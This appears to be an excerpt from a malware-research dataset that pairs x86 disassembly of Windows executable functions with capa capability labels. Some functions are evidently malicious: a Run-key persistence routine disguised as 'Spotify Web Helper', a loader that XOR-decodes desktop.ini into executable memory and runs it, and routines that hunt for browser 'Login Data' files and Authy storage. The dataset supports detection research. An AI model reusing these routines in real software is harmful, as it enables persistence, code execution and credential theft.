joyce8/EMBER2024-capa huggingface dataset:
Function at 0x40e690
Capabilities:
Set environment variable

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
pop ebp
jmp fcn.0040e2d5

Function at 0x411812
Capabilities:
Get geographical location

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
push ecx
push esi
push edi
call fcn.0040c780
mov esi, dword [ebp + 8]
mov edi, eax
push 2
lea eax, [ebp - 4]
mov ecx, esi
push eax
and ecx, 0x3ff
push 0x20000001
or ecx, 0x400
push ecx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoW]
test eax, eax
je 0x411881
cmp esi, dword [ebp - 4]
je 0x41187c
cmp dword [ebp + 0xc], 0
je 0x41187c
mov esi, dword [edi + 0x50]
lea ecx, [esi + 2]
mov ax, word [esi]
add esi, 2
test ax, ax
jne 0x411859
push dword [edi + 0x50]
sub esi, ecx
sar esi, 1
call fcn.00411364
pop ecx
xor ecx, ecx
cmp eax, esi
setne cl
mov eax, ecx
jmp 0x411883
xor eax, eax
inc eax
jmp 0x411883
xor eax, eax
pop edi
pop esi
leave
ret
Function at 0x41332a
Capabilities:
Encrypt data using chaskey
Hash data using murmur3

Disassembly:
adc dh, bh
ror byte [ebx - 0xf097e24], 1
scasd eax, dword es:[edi]
in eax, 0x1f
neg eax
mov esi, eax
call fcn.00402e71
sub esi, esp
mov edx, eax
mov edi, dword [0x4e9ece]
sub esi, eax
mov ecx, 0x5aba1a
Function at 0x41dda4
Capabilities:
Create shortcut via ishelllink

Disassembly:
push 0x14
mov eax, 0x46610a
call fcn.00441b26
and dword [ebp - 0x10], 0
lea eax, [ebp - 0x10]
push eax
push 0x4d838c
push 1
push 0
push 0x4d83ac
call dword [sym.imp.ole32.dll_CoCreateInstance]
mov ebx, eax
test ebx, ebx
js 0x41debf
mov ecx, dword [ebp - 0x10]
lea edx, [ebp - 0x18]
and dword [ebp - 0x18], 0
push edx
push 0x4d839c
mov eax, dword [ecx]
push ecx
call dword [eax]
mov ebx, eax
test ebx, ebx
js 0x41deb6
push dword [ebp + 0xc]
lea ecx, [ebp - 0x14]
call fcn.00421413
mov ecx, dword [ebp - 0x10]
xor ebx, ebx
push dword [ebp - 0x14]
mov dword [ebp - 4], ebx
push ecx
mov eax, dword [ecx]
call dword [eax + 0x50]
cmp dword [ebp + 0x14], ebx
je 0x41de3c
push dword [ebp + 0x14]
lea ecx, [ebp - 0x1c]
call fcn.00421413
mov ecx, dword [ebp - 0x10]
push dword [ebp - 0x1c]
mov byte [ebp - 4], 1
push ecx
mov eax, dword [ecx]
call dword [eax + 0x2c]
lea ecx, [ebp - 0x1c]
mov byte [ebp - 4], bl
call fcn.00421476
mov ecx, dword [ebp - 0x10]
push ebx
push dword [ebp - 0x14]
mov eax, dword [ecx]
push ecx
call dword [eax + 0x44]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x14]
call fcn.00421476
push dword [ebp + 0x10]
lea ecx, [ebp - 0x1c]
call fcn.00421413
mov ecx, dword [ebp - 0x10]
push dword [ebp - 0x1c]
mov dword [ebp - 4], 2
push ecx
mov eax, dword [ecx]
call dword [eax + 0x24]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1c]
call fcn.00421476
push dword [ebp + 8]
lea ecx, [ebp - 0x20]
call fcn.00421413
mov ecx, dword [ebp - 0x18]
push 1
push dword [ebp - 0x20]
mov dword [ebp - 4], 3
mov eax, dword [ecx]
push ecx
call dword [eax + 0x18]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x20]
mov ebx, eax
call fcn.00421476
mov eax, dword [ebp - 0x18]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
mov eax, dword [ebp - 0x10]
push eax
mov ecx, dword [eax]
call dword [ecx + 8]
shr ebx, 0x1f
xor bl, 1
mov al, bl
call fcn.00441af4
ret

Function at 0x41e23f
Capabilities:
Persist via run registry key

Disassembly:
push str.Spotify_Web_Helper
push str.SoftwareMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call fcn.004214bf
add esp, 0xc
ret
Function at 0x41e736
Capabilities:
Check mutex on windows

Disassembly:
push ebp
mov ebp, esp
push esi
push dword [ebp + 8]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateMutexW]
mov esi, eax
test esi, esi
je 0x41e765
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x41e765
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor al, al
jmp 0x41e770
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x41e76e
mov dword [eax], esi
mov al, 1
pop esi
pop ebp
ret

Function at 0x41f3e3
Capabilities:
Create process on windows

Disassembly:
push 0x60
mov eax, 0x466454
call fcn.00441b26
push 0x10
xor ebx, ebx
lea eax, [ebp - 0x28]
push ebx
push eax
call fcn.00402420
push 0x44
lea eax, [ebp - 0x6c]
push ebx
push eax
call fcn.00402420
mov edi, dword [ebp + 0x14]
add esp, 0x18
test edi, edi
je 0x41f415
mov dword [edi], ebx
push dword [ebp + 8]
lea ecx, [ebp - 0x18]
call fcn.00421413
push dword [ebp + 0xc]
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], ebx
call fcn.00421413
mov esi, dword [ebp + 0x10]
lea ecx, [ebp - 0x10]
test esi, esi
mov byte [ebp - 4], 1
mov eax, 0x46b98e
cmovne eax, esi
push eax
call fcn.00421413
xor eax, eax
mov dword [ebp - 0x6c], 0x44
lea ecx, [ebp - 0x28]
test esi, esi
push ecx
cmovne eax, dword [ebp - 0x10]
lea ecx, [ebp - 0x6c]
push ecx
push eax
push ebx
push ebx
push ebx
push ebx
push ebx
push dword [ebp - 0x14]
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x41f492
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x41f486
mov eax, dword [ebp - 0x28]
mov dword [edi], eax
jmp 0x41f48b
push dword [ebp - 0x28]
call esi
push dword [ebp - 0x24]
call esi
mov bl, 1
lea ecx, [ebp - 0x10]
call fcn.00421476
lea ecx, [ebp - 0x14]
call fcn.00421476
lea ecx, [ebp - 0x18]
call fcn.00421476
mov al, bl
call fcn.00441af4
ret
Function at 0x4205ca
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
mov al, byte [ebp + 8]
push esi
xor esi, esi
xor al, 1
push esi
push esi
push 1
push esi
mov byte [0x4eab20], al
call dword [sym.imp.KERNEL32.dll_CreateEventW]
mov dword [0x4eab28], eax
lea eax, [ebp + 8]
push eax
push esi
push esi
push 0x420e61
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
pop esi
pop ebp
ret
Function at 0x4214bf
Capabilities:
Delete registry value

Disassembly:
push 0xc
mov eax, 0x466871
call fcn.00441b26
push dword [ebp + 0xc]
lea ecx, [ebp - 0x18]
call fcn.00421413
push dword [ebp + 0x10]
xor ebx, ebx
lea ecx, [ebp - 0x14]
mov dword [ebp - 4], ebx
call fcn.00421413
lea eax, [ebp - 0x10]
mov dword [ebp - 0x10], ebx
push eax
push 2
push ebx
push dword [ebp - 0x18]
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
cmp dword [ebp - 0x10], ebx
je 0x42151d
push dword [ebp - 0x14]
push dword [ebp - 0x10]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x10]
neg eax
sbb al, al
lea ebx, [eax + 1]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push dword [ebp - 0x14]
call fcn.0044200c
push dword [ebp - 0x18]
call fcn.0044200c
pop ecx
pop ecx
mov al, bl
call fcn.00441af4
ret

Function at 0x421e88
Capabilities:
Create process on windows

Disassembly:
push 0x34
mov eax, 0x4669aa
call fcn.00441b59
lea eax, [ebp - 0x28]
push eax
call fcn.00421ded
lea eax, [ebp - 0x28]
xor esi, esi
push eax
lea eax, [ebp - 0x40]
mov dword [ebp - 4], esi
push eax
call fcn.00435f4a
add esp, 0xc
cmp dword [eax + 0x14], 8
jb 0x421eba
mov eax, dword [eax]
push 5
push esi
push esi
push eax
push 0x472ce0
push esi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
lea ecx, [ebp - 0x40]
call fcn.0041fde9
lea ecx, [ebp - 0x28]
call fcn.0041fdc3
call fcn.00441b08
ret

Function at 0x422e2c
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x4e8018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x20c]
push 0x104
push ecx
push 0xffffffffffffffff
push eax
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x422e66
xor al, al
jmp 0x422e79
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
setne al
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.00401e35
leave
ret
Function at 0x422f4d
Capabilities:
Delete file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x4e8018]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
lea ecx, [ebp - 0x20c]
push ebx
mov ebx, dword [ebp + 0xc]
push edi
push 0x104
push ecx
push 0xffffffffffffffff
push eax
xor edi, edi
push edi
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
test eax, eax
jne 0x422f8e
push 0xa
pop eax
jmp 0x423008
push esi
push edi
push 0x80
push 2
push edi
push 1
push 0xc0000000
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov esi, eax
cmp esi, 0xffffffff
jne 0x422fc5
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub eax, 0x20
neg eax
sbb eax, eax
add eax, 0xe
jmp 0x423007
push edi
mov edi, dword [ebp + 0x10]
lea eax, [ebp - 0x210]
push eax
push edi
push ebx
push esi
call dword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x422ff0
cmp dword [ebp - 0x210], edi
jne 0x422ff0
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x423007
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
push 0xc
pop eax
pop esi
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop ebx
call fcn.00401e35
leave
ret
Function at 0x43556d
Capabilities:
Read file via mapping

Disassembly:
push 0x34
mov eax, 0x4685cd
call fcn.00441b59
mov esi, ecx
mov edi, dword [ebp + 8]
test edi, edi
jne 0x435586
xor al, al
jmp 0x4355fd
push str.SpotifyWindowHandle
lea ecx, [ebp - 0x40]
call fcn.0041d182
push esi
lea eax, [ebp - 0x40]
xor ebx, ebx
push eax
lea eax, [ebp - 0x28]
mov dword [ebp - 4], ebx
push eax
call fcn.00435467
add esp, 0xc
lea ecx, [ebp - 0x40]
call fcn.0041fdc3
cmp dword [ebp - 0x14], 0x10
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
push ebx
push 4
call dword [sym.imp.KERNEL32.dll_OpenFileMappingA]
mov esi, eax
test esi, esi
je 0x4355f3
push 4
push ebx
push ebx
push 4
push esi
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov ecx, eax
test ecx, ecx
je 0x4355ec
mov eax, dword [ecx]
push ecx
mov dword [edi], eax
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov bl, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x28]
call fcn.0041fdc3
mov al, bl
call fcn.00441b08
ret 4
Function at 0x435d11
Capabilities:
Terminate process

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push 1
push dword [ebp + 8]
call fcn.00435d54
mov esi, eax
pop ecx
pop ecx
test esi, esi
jne 0x435d2c
xor bl, bl
jmp 0x435d4e
push 0
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push dword [ebp + 0xc]
push esi
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov ebx, eax
neg ebx
push esi
sbb bl, bl
inc bl
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop esi
mov al, bl
pop ebx
pop ebp
ret
Function at 0x4488dc
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
push 2
lea eax, [ebp - 4]
push eax
push 0x20000001
push str._x_sys_default_locale
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov esi, dword [ebp + 0xc]
neg eax
sbb eax, eax
xor ecx, ecx
and eax, dword [ebp - 4]
push ecx
push ecx
push esi
push eax
push dword [ebp + 8]
mov dword [ebp - 4], eax
push ecx
push 0x1300
call dword [sym.imp.KERNEL32.dll_FormatMessageA]
push eax
push dword [esi]
call fcn.004488b8
pop esi
leave
ret 8

Function at 0x45f62f
Capabilities:
Get geographical location

Disassembly:
push ebp
mov ebp, esp
push ecx
and dword [ebp - 4], 0
call fcn.0040ee24
push 2
lea ecx, [ebp - 4]
push ecx
mov eax, dword [eax + 0x14]
push 0x22
push eax
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
movzx eax, word [ebp - 4]
sub eax, 0x30
je 0x45f66e
sub eax, 1
je 0x45f669
sub eax, 1
je 0x45f665
xor eax, eax
leave
ret
push 3
jmp 0x45f670
xor eax, eax
inc eax
leave
ret
push 2
pop eax
leave
ret
Function at 0x407010
Capabilities:
Enumerate pe sections

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
xor edx, edx
push ebx
push esi
push edi
mov ecx, dword [eax + 0x3c]
add ecx, eax
movzx eax, word [ecx + 0x14]
movzx ebx, word [ecx + 6]
add eax, 0x18
add eax, ecx
test ebx, ebx
je 0x40704e
mov edi, dword [ebp + 0xc]
mov esi, dword [eax + 0xc]
cmp edi, esi
jb 0x407046
mov ecx, dword [eax + 8]
add ecx, esi
cmp edi, ecx
jb 0x407050
inc edx
add eax, 0x28
cmp edx, ebx
jb 0x407036
xor eax, eax
pop edi
pop esi
pop ebx
pop ebp
ret

Function at 0x407120
Capabilities:
Parse pe header

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
mov ecx, dword [ebp + 8]
mov eax, 0x5a4d
cmp word [ecx], ax
jne 0x407151
mov eax, dword [ecx + 0x3c]
add eax, ecx
cmp dword [eax], 0x4550
jne 0x407151
mov ecx, 0x10b
cmp word [eax + 0x18], cx
jne 0x407151
mov eax, 1
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x1000114e
Capabilities:
Allocate or change rwx memory
Encode data using xor
Execute shellcode via indirect call
Read file on windows

Disassembly:
push esi
push edi
push str.ShellExecuteW
push str.shell32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 1
xor edi, edi
push edi
push edi
push 0x10002054
push str.open
push edi
call eax
push 0x40
mov esi, 0x1000
push esi
push esi
push edi
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
push edi
push 0x80
push 3
push edi
push 1
push 0x80000000
push str.desktop.ini
mov dword [0x10003228], eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov dword [0x1000322c], eax
cmp eax, 0xffffffff
je 0x100011f3
push edi
push 0x10003230
push esi
push dword [0x10003228]
push eax
call dword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [0x10003228]
movzx ecx, byte [eax]
xor ecx, 0x4e
xor esi, esi
cmp dword [0x10003230], edi
jbe 0x100011f1
mov dl, byte [eax + esi]
xor dl, cl
add dl, 0x42
mov byte [eax + esi], dl
inc esi
cmp esi, dword [0x10003230]
jb 0x100011dd
call eax
pop edi
pop esi
ret 0x10
Function at 0x4033d0
Capabilities:
Enumerate gui resources
Get hostname

Disassembly:
mov eax, 0x240c
call fcn.0040c3a0
mov eax, dword [0x2b9cbbc]
mov ecx, dword [0x2b9cb30]
shr eax, 3
test eax, eax
jbe 0x403502
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_FindNextVolumeW]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_WriteProfileSectionA]
push edi
mov edi, dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
mov dword [esp + 0x10], ecx
mov dword [esp + 0x14], eax
jmp 0x403420
cmp dword [0x2b9cbbc], 0x959
jne 0x4034e4
push 0
lea eax, [esp + 0x1420]
push eax
push 0
push 0
push 0
push 0
call edi
push 0
lea ecx, [esp + 0x420]
push ecx
push 0
call ebx
push 0
push 0
call esi
push 0
call ebp
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoExW]
push 0
push 0
lea edx, [esp + 0xc24]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push 0
push 0
call esi
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetThreadPriorityBoost]
push 0
lea eax, [esp + 0x1c20]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleTitleW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_BeginUpdateResourceW]
lea ecx, [esp + 0x18]
push ecx
lea edx, [esp + 0x20]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
push 0
push 0x402d3c
push 0x402d4c
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [esp + 0x10]
push eax
call fcn.00403220
add dword [esp + 0x10], 8
sub dword [esp + 0x14], 1
jne 0x403420
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x240c
ret
Function at 0x40901b
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x444a00]
jne 0x409025
repz ret
jmp fcn.0040b2ec

Function at 0x40aa3e
Capabilities:
Link many functions at runtime

Disassembly:
mov edi, edi
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
push esi
push edi
call fcn.00405d7d
and dword [ebp - 4], 0
cmp dword [0x445d88], 0
mov ebx, eax
jne 0x40aaef
push 0x402c1c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov edi, eax
test edi, edi
je 0x40aba0
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x402c10
push edi
call esi
test eax, eax
je 0x40aba0
push eax
call fcn.00405d0b
mov dword [esp], 0x402c00
push edi
mov dword [0x445d88], eax
call esi
push eax
call fcn.00405d0b
mov dword [esp], 0x402bec
push edi
mov dword [0x445d8c], eax
call esi
push eax
call fcn.00405d0b
mov dword [esp], 0x402bd0
push edi
mov dword [0x445d90], eax
call esi
push eax
call fcn.00405d0b
pop ecx
mov dword [0x445d98], eax
test eax, eax
je 0x40aaef
push 0x402bb8
push edi
call esi
push eax
call fcn.00405d0b
pop ecx
mov dword [0x445d94], eax
mov eax, dword [0x445d94]
cmp eax, ebx
je 0x40ab47
cmp dword [0x445d98], ebx
je 0x40ab47
push eax
call fcn.00405d86
push dword [0x445d98]
mov esi, eax
call fcn.00405d86
pop ecx
pop ecx
mov edi, eax
test esi, esi
je 0x40ab47
test edi, edi
je 0x40ab47
call esi
test eax, eax
je 0x40ab3e
lea ecx, [ebp - 8]
push ecx
push 0xc
lea ecx, [ebp - 0x14]
push ecx
push 1
push eax
call edi
test eax, eax
je 0x40ab3e
test byte [ebp - 0xc], 1
jne 0x40ab47
or dword [ebp + 0x10], 0x200000
jmp 0x40ab80
mov eax, dword [0x445d8c]
cmp eax, ebx
je 0x40ab80
push eax
call fcn.00405d86
pop ecx
test eax, eax
je 0x40ab80
call eax
mov dword [ebp - 4], eax
test eax, eax
je 0x40ab80
mov eax, dword [0x445d90]
cmp eax, ebx
je 0x40ab80
push eax
call fcn.00405d86
pop ecx
test eax, eax
je 0x40ab80
push dword [ebp - 4]
call eax
mov dword [ebp - 4], eax
push dword [0x445d88]
call fcn.00405d86
pop ecx
test eax, eax
je 0x40aba0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
push dword [ebp - 4]
call eax
jmp 0x40aba2
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401000
Capabilities:
Check if file exists
Create directory
Delete directory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x304
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 4], eax
push esi
push edi
xor edi, edi
cmp dword [0x5ea258], edi
jne 0x401024
call fcn.00403a70
push 0x2ff
lea eax, [ebp - 0x303]
push edi
push eax
mov byte [ebp - 0x304], 0
call fcn.0055bfc0
add esp, 0xc
mov esi, str.Authy_DesktopLocal_Storage
push esi
push 0x5e9c58
lea eax, [ebp - 0x304]
push eax
call dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x304]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x40109f
push edi
mov edi, str.Authy_Desktop
push edi
mov dword [0x5e9a10], 1
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [ebp - 0x304]
push esi
push eax
call fcn.00403868
pop ecx
pop ecx
test eax, eax
je 0x401098
xor eax, eax
inc eax
jmp 0x4010a1
push edi
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryA]
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
xor ecx, ebp
pop esi
call fcn.0055a67a
leave
ret

Function at 0x4010af
Capabilities:
Create directory
Get common file path
Set current directory

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30c
mov eax, dword [0x5e2ec0]
xor eax, esp
mov dword [esp + 0x308], eax
push ebx
push esi
xor esi, esi
push edi
cmp dword [0x5ea258], esi
jne 0x4010db
call fcn.00403a70
push 0x1ff
lea eax, [esp + 0x115]
push esi
push eax
mov byte [esp + 0x11c], 0
call fcn.0055bfc0
add esp, 0xc
push 0xff
lea eax, [esp + 0x15]
push esi
push eax
mov byte [esp + 0x1c], 0
call fcn.0055bfc0
add esp, 0xc
lea eax, [esp + 0x110]
push eax
push 0x200
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
push esi
mov edi, 0x100
lea eax, [esp + 0x14]
push edi
push eax
mov esi, str.QnJvd3NlcnM
mov eax, esi
call fcn.00403379
pop ecx
pop ecx
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea eax, [esp + 0x10]
push edi
push eax
mov eax, esi
call fcn.00403379
mov ebx, dword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
pop ecx
pop ecx
push eax
call ebx
push 0x5e9c58
call fcn.004011b2
mov dword [esp], 0x5e9f58
call fcn.004011b2
pop ecx
lea eax, [esp + 0x110]
push eax
call ebx
cmp dword [0x5e9a54], 0
jne 0x40119d
lea eax, [esp + 0x10]
push edi
push eax
mov eax, esi
call fcn.00403379
pop ecx
pop ecx
mov esi, eax
call fcn.0040381f
mov ecx, dword [esp + 0x314]
pop edi
pop esi
pop ebx
xor ecx, esp
call fcn.0055a67a
mov esp, ebp
pop ebp
ret
Function at 0x4011b2
Capabilities:
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xa58
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp - 8], eax
push ebx
push esi
push edi
mov edi, dword [ebp + 8]
mov esi, 0x2ff
xor ebx, ebx
push esi
lea eax, [ebp - 0x90b]
push ebx
push eax
mov dword [ebp - 0xa58], edi
mov byte [ebp - 0x90c], bl
call fcn.0055bfc0
add esp, 0xc
push esi
lea eax, [ebp - 0x60b]
push ebx
push eax
mov byte [ebp - 0x60c], bl
call fcn.0055bfc0
add esp, 0xc
push edi
lea eax, [ebp - 0x60c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
push 0x5d3850
push edi
mov edi, dword [sym.imp.SHLWAPI.dll_PathCombineA]
lea eax, [ebp - 0x90c]
push eax
call edi
lea eax, [ebp - 0xa4c]
push eax
lea eax, [ebp - 0x90c]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0xa54], eax
cmp eax, 0xffffffff
jne 0x401259
xor eax, eax
mov ecx, dword [ebp - 8]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0055a67a
leave
ret
mov dword [ebp - 0xa50], 1
lea eax, [ebp - 0xa4c]
push eax
push dword [ebp - 0xa54]
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
je 0x401340
push 0x5d3854
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x401351
push 0x5d3858
lea eax, [ebp - 0xa20]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcmpA]
test eax, eax
je 0x401351
push esi
lea eax, [ebp - 0x30b]
push ebx
push eax
mov byte [ebp - 0x30c], bl
call fcn.0055bfc0
add esp, 0xc
test byte [ebp - 0xa4c], 0x10
lea eax, [ebp - 0xa20]
push eax
je 0x4012f8
lea eax, [ebp - 0x60c]
push eax
lea eax, [ebp - 0x30c]
push eax
call edi
lea eax, [ebp - 0x30c]
push eax
call fcn.004011b2
pop ecx
jmp 0x401351
push dword [ebp - 0xa58]
lea eax, [ebp - 0x30c]
push eax
call edi
push str.Login_Data
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
je 0x401351
push 0x5d3868
lea eax, [ebp - 0x30c]
push eax
call dword [sym.imp.SHLWAPI.dll_StrStrA]
test eax, eax
jne 0x401351
lea ecx, [ebp - 0x30c]
call fcn.0040195a
jmp 0x401351
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x12
jne 0x401360
mov dword [ebp - 0xa50], ebx
cmp dword [ebp - 0xa50], ebx
jne 0x401263
xor ebx, ebx
inc ebx
push dword [ebp - 0xa54]
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, ebx
jmp 0x40124a
Function at 0x402313
Capabilities:
Write file on windows

Disassembly:
push ebp
lea ebp, [esp - 0x294]
sub esp, 0x314
mov eax, dword [0x5e2ec0]
xor eax, ebp
mov dword [ebp + 0x290], eax
mov eax, dword [ebp + 0x29c]
push ebx
push esi
mov esi, dword [sym.imp.SHLWAPI.dll_StrChrA]
push edi
mov dword [ebp - 0x7c], eax
mov eax, dword [ebp + 0x2a0]
mov edi, ecx
push 0x2e
push edi
mov dword [ebp - 0x74], eax
call esi
push 0x2ff
mov ebx, eax
lea eax, [ebp - 0x6f]
push 0
push eax
mov byte [ebp - 0x70], 0
call fcn.0055bfc0
add esp, 0xc
test ebx, ebx
je 0x402384
push 0x2e
inc ebx
push ebx
call esi
push 0x2e
test eax, eax
je 0x402381
push edi
call esi
mov edi, eax
inc edi
jmp 0x402384
push ebx
call esi
push edi
lea eax, [ebp - 0x70]
push str._s_r_n
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x74]
call dword [sym.imp.SHLWAPI.dll_StrStrA]
pop edi
pop esi
pop ebx
test eax, eax
jne 0x4023d5
push eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x70]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x7c]
call dword [sym.imp.KERNEL32.dll_WriteFile]
lea eax, [ebp - 0x70]
push eax
push dword [ebp - 0x74]
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov ecx, dword [ebp + 0x290]
xor ecx, ebp
call fcn.0055a67a
add ebp, 0x294
leave
ret